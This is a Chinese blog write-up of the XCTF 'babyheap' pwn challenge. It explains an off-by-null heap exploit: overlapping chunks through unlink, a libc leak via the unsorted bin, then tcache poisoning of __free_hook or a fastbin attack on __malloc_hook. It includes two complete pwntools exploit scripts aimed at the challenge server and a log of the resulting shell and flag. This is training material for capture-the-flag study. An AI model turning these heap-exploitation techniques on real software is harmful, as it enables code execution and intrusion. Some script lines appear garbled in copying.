

攻防世界 pwn babyheap writeup

原创

liucc09 于 2021-01-19 15:50:06 发布 116 收藏

分类专栏: 网络攻防 文章标签: 攻防世界 pwn ctf babyheap

版权声明: 本文为博主原创文章, 遵循CC 4.0 BY-SA 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/liucc09/article/details/112839310>

版权



[网络攻防 专栏收录该内容](#)

10 篇文章 0 订阅

订阅专栏

分析

这题题目中显示是**Wellcome To the 2.27 Heap World**, 而且只能申请7个chunk, 理论上应该是一道libc2.27 tcache的题, 但因为在交互过程中触发了fastbin的double free错误, 所以攻防世界上应该是把这题部署在了libc2.23的环境中, 但无所谓, 下面libc2.27和libc2.23的解法都会给出。

libc2.27解法

首先我们要泄漏libc的地址, tcache肯定是无法泄漏libc的, 因此我们考虑使用unsorted bin来泄漏, 这题有off by null, 没有UAF。

然后由于create chunk的时候会在输入的内容后面加一个\x00, 所以即便chunk在unsorted bin里踩出libc的地址也无法用show方法回显, 因为会被\x00截断。

所以唯一的方法就是在create chunk之后想办法把libc地址踩到data里

因此考虑采用unlink攻击构造重叠的chunk。这样就可以得到两个相同的chunk, 其中一个在heap_list里, 另一个在unsorted_bin里, unsorted_bin里的那个副本会被踩出libc地址, 这样show的时候, heap_list中的那个chunk就会打印出libc的地址。

之后就很容易了, 修改tcache中chunk的fd指向__free_hook, 修改__free_hook为system就好了, 然后free被写入了"/bin/sh\x00"的chunk即可。

exp:

```
from pwn import *
#from LibcSearcher import *
import time

pe = "./timu"
arch = 'amd64'

context.update(arch=arch,os='linux',log_level='DEBUG')
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = False
elf = ELF(pe)
if DEBUG:
    if arch=='amd64':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
```

```

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

r = process(pe)

else:
    libc = ELF('./libc-2.23.so')
    r = remote('220.249.52.134',43623)

se      = lambda data           :r.send(data)
sa      = lambda delim,data    :r.sendafter(delim, data)
sl      = lambda data           :r.sendline(data)
sla     = lambda delim,data    :r.sendlineafter(delim, data)
sea     = lambda delim,data    :r.sendafter(delim, data)
rc      = lambda numb=4096       :r.recv(numb)
rl      = lambda                 :r.recvline()
ru      = lambda delims         :r.recvuntil(delims)
uu32    = lambda data           :u32(data.ljust(4, '\0'))
uu64    = lambda data           :u64(data.ljust(8, '\0'))
ri      = lambda                 :r.interactive()
info_addr = lambda tag, addr   :r.info(tag + ': {:#x}'.format(addr))

def debug(addr=0,PIE=True):
    time.sleep(1)
    if PIE:
        #text_base = int(os.popen("pmap {} | awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        text_base = r.libs()[r.cwd + r.argv[0].strip('.')]
        chunk_bss = 0x202040
        if addr>0:
            print("breakpoint_addr --> " + hex(text_base + addr))
            gdb.attach(r,'b *{}\nset $a={}{}'.format(hex(addr),hex(text_base+chunk_bss)))
        else:
            gdb.attach(r,"set $a={}{}".format(hex(text_base+chunk_bss)))
    else:
        print("breakpoint_addr --> " + hex(addr))
        gdb.attach(r,'b *{}'.format(hex(addr)))

    time.sleep(1)

def msg(msg,addr):
    log.warn(msg + "--> " + hex(addr))

...
Your choice :
1
Size:
40
Data:
sdf
...
def add(size,content=b'a\n'):
    sla("Your choice :\n","1")
    sla("Size: \n",str(size))
    if rc(4)==b'Data':
        sea(": \n",content)

...
Your choice :
2
Index:

```

```

0
...
def free(idx):
    sla("Your choice :\n","2")
    sla("Index: \n",str(idx))

...
Your choice :
3
0 : sdf
...
def show():
    sla("Your choice :\n","3")

add(0x500)#0
add(0x600)#0,1
add(0x18)#0,1,2
add(0x500-0x10)#0,1,2,3 off by null
add(0x10)#0,1,2,3,4

free(0)#1,2,3,4
free(2)#1,3,4

pre_size = 0xb40
add(0x18,b'a'*0x10+p64(pre_size))#[0],1,3,4
free(3)#unlink #0,1,4

add(0x500)#pad #0,1,[2],4 #1副本->main_arena+96

show() #1会回显libc 中的地址

libc_base = u64(ru(b'\x7f')[-6:].ljust(8,'\\x00'))-0x3ebca0
msg("libc_base",libc_base)

libc.address = libc_base

add(0x40)#0,1,2,[3],4 #重复->1
free(3)#0,1,2,4 [3/1]->tcache
free(1)#0,2,4 double free [3/1]
add(0x40,p64(libc.sym["__free_hook"]-0x8)+b"\n") #0,[1],2,4 tcache->free_hook-0x8
add(0x40)##0,1,2,[3],4 pad
add(0x40,b'/bin/sh\x00'+p64(libc.sym["system"])+b'\n')#0,1,2,3,4,[5]

free(5)

#debug()
ri()

```

libc2.23解法

libc2.23解法与上面类似，区别在于要使用fastbin attack实现有条件的地址修改，一般都是找到 **((void*)&__malloc_hook)-0x23** 的位置，这里刚好能伪造一个0x70的chunk。

然后在__malloc_hook的位置填上one_gadget的地址，那么下次malloc的时候就会执行one_gadget得到shell，这里问题在于有时所有one_gadget都不能用，这时可以触发double_free，报错时会清栈，然后malloc会被调用，从而满足one_gadget的条件。

这里最大的问题在于攻防世界给的libc是错的，因此我们需要下载不同的libc挨个尝试，直到找到对的那个libc。

查询libc可以用这个网站：

<https://libc.blukat.me>

结果大概就是下面这样，double free报错后get shell：

```
[DEBUG] Sent 0x2 bytes:  
  '3\n'  
[*] Switching to interactive mode  
[DEBUG] Received 0x53 bytes:  
  "*** Error in './timu': double free or corruption (fasttop): 0x000055f8d4b47190 ***\n*** Error in './timu': double free or corruption (fasttop): 0x000055f8d4b47190 ***  
$ id  
[DEBUG] Sent 0x3 bytes:  
  'id\n'  
[DEBUG] Received 0x7 bytes:  
  'sh: 1: '  
sh: 1: [DEBUG] Received 0xe bytes:  
  'id: not found\n'  
id: not found  
$ cat flag  
[DEBUG] Sent 0x9 bytes:  
  'cat flag\n'  
[DEBUG] Received 0x2d bytes:  
  'cyberpeace{ce678...cc2b0695f834d658db7}\n'  
cyberpeace{ce678...cc2b0695f834d658db7}  
[*] Got EOF while reading in interactive
```

<https://blog.csdn.net/liucc09>

exp:

```
from pwn import *  
#from LibcSearcher import *  
import time  
  
pe = "./timu"  
arch = 'amd64'  
  
context.update(arch=arch,os='linux',log_level='DEBUG')  
context.terminal = ['tmux', 'splitw', '-h']  
DEBUG = False  
elf = ELF(pe)  
if DEBUG:  
    if arch=='amd64':  
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  
    else:  
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')  
  
    r = process(pe)  
  
else:  
    libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')  
    r = remote('220.249.52.134',43623)  
  
se      = lambda data           :r.send(data)  
sa      = lambda delim,data    :r.sendafter(delim, data)  
sl      = lambda data           :r.sendline(data)  
sla     = lambda delim,data    :r.sendlineafter(delim, data)  
sea     = lambda delim,data    :r.sendafter(delim, data)  
rc      = lambda numb=4096       :r.recv(numb)  
rl      = lambda               :r.recvline()  
ru      = lambda delims         :r.recvuntil(delims)  
uu32   = lambda data           :u32(data[-4:-1])
```

```

u32 = lambda data :u32(data.ljust(4, '\0'))
u64 = lambda data :u64(data.ljust(8, '\0'))
ri = lambda :r.interactive()
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))

def debug(addr=0,PIE=True):
    time.sleep(1)
    if PIE:
        #text_base = int(os.popen("pmap {} | awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        text_base = r.libs()[r.cwd + r.argv[0].strip('.')]
        chunk_bss = 0x202040
        if addr>0:
            print("breakpoint_addr --> " + hex(text_base + addr))
            gdb.attach(r,'b *{}\nset $a={}{}'.format(hex(addr),hex(text_base+chunk_bss)))
        else:
            gdb.attach(r,"set $a={}\n".format(hex(text_base+chunk_bss)))
    else:
        print("breakpoint_addr --> " + hex(addr))
        gdb.attach(r,'b *{}\n'.format(hex(addr)))

    time.sleep(1)

def msg(msg,addr):
    log.warn(msg + "--> " + hex(addr))

...
Your choice :
1
Size:
40
Data:
sdf
...
def add(size,content=b"\a\n"):
    sla("Your choice :\n","1")
    sla("Size: \n",str(size))
    if rc(4)==b'Data':
        sea(": \n",content)

...
Your choice :
2
Index:
0
...
def free(idx):
    sla("Your choice :\n","2")
    sla("Index: \n",str(idx))

...
Your choice :
3
0 : sdf
...
def show():
    sla("Your choice :\n","3")

add(0x100)#0

```

```
add(0x60)#0,1
add(0x68)#0,1,2
add(0x100-0x10)#0,1,2,3 off by null
add(0x10)#0,1,2,3,4

free(0)#1,2,3,4
free(2)#1,3,4

pre_size = 0x110+0x70+0x70
add(0x68,b'a'*0x60+p64(pre_size))#[0],1,3,4
free(3)#unlink #0,1,4

add(0x100)#pad #0,1,[2],4 #1 double->main_arena+96

show()

addr = u64(ru(b'\x7f')[-6:].ljust(8,'\\x00'))
main_arena = addr-88
malloc_hook = main_arena-0x10
libc_base = addr-0x3c4b78
msg("main_arena",main_arena)
msg("malloc_hook",malloc_hook)
msg("libc_base",libc_base)

libc.address = libc_base

add(0x60)#0,1,2,[3],4 #->1
add(0x60)#0,1,2,3,4,[5] #->0
free(3)#0,1,2,4,5 ->fastbin
free(5)#0,1,2,4
free(1)#0,2,4    #fastbin:0->1->0

add(0x60,p64(libc.sym["__malloc_hook"]-0x23)+b'\n')
add(0x60)
add(0x60)

one = 0xf02a4 #0xf0364
add(0x60,b'a'*0x13+p64(one+libc_base)+b'\n')

free(0)
free(3)

#debug()
ri()
```